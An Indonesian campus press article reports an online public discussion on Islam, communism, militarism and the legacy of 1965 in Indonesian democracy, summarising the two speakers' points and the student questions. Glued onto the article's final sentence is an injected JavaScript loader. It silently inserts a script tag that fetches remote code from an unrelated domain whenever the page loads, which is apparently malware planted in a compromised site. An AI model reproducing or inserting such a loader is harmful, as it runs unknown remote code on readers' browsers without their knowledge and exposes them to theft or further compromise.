
Medan, Persma Kreatif – Himpunan Mahasiswa Jurusan (HMJ) Sejarah menggelar sebuah diskusi publik daring melalui zoom dengan tema “Islam, Komunisme, dan Militerisme: Warisan 1965 dalam Demokrasi Indonesia Kontemporer” pada Sabtu, (4 /10/2025).
Acara ini berlangsung dengan penuh antusiasme dari para peserta yang hadir, terutama mahasiswa yang ingin memperdalam pemahaman tentang dinamika sejarah dan relevansinya dalam demokrasi Indonesia saat ini.
Acara dibuka oleh Juan Vito selaku MC yang memandu jalannya kegiatan sejak awal hingga penutupan. Selanjutnya, Fajar Gultom, Wakil Ketua HMJ menyampaikan kata sambutan.
Dalam sambutannya, Fajar menekankan pentingnya generasi muda memahami sejarah kelam bangsa agar dapat mengambil pelajaran berharga dan tidak mengulang kesalahan masa lalu.
Diskusi inti menghadirkan dua narasumber utama, yakni Putri Atikah, M.Si dan Rangga Handoko, S.Pd.
Putri Atikah, M.Si menyoroti bagaimana warisan peristiwa 1965 masih membekas dalam relasi antara negara, agama, dan masyarakat sipil. Menurutnya, isu-isu stigmatisasi ideologi tertentu sering digunakan dalam arena politik kontemporer untuk melemahkan demokrasi.
Sementara itu, Rangga Handoko, S.Pd menekankan bahwa militerisme yang lahir pasca-1965 masih memiliki dampak panjang terhadap kebebasan sipil. Ia juga menyoroti pentingnya menumbuhkan kesadaran kritis mahasiswa agar mampu melihat sejarah tidak hanya dari satu perspektif resmi, tetapi juga dari narasi korban.
Sesi diskusi dipandu oleh moderator Yesi Astasia, yang dengan sigap mengarahkan jalannya tanya jawab dan memastikan keterlibatan aktif dari para peserta. Berbagai pertanyaan kritis muncul dari mahasiswa mengenai hubungan agama dan politik, trauma sejarah, serta strategi memperkuat demokrasi agar lebih inklusif.
Diskusi publik ini diakhiri dengan penegasan bahwa memahami warisan sejarah 1965 bukan sekadar mengenang masa lalu, melainkan juga sebagai upaya kolektif untuk menjaga demokrasi Indonesia agar lebih adil, terbuka, dan manusiawi.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);


Tinggalkan Balasan
Anda harus masuk untuk berkomentar.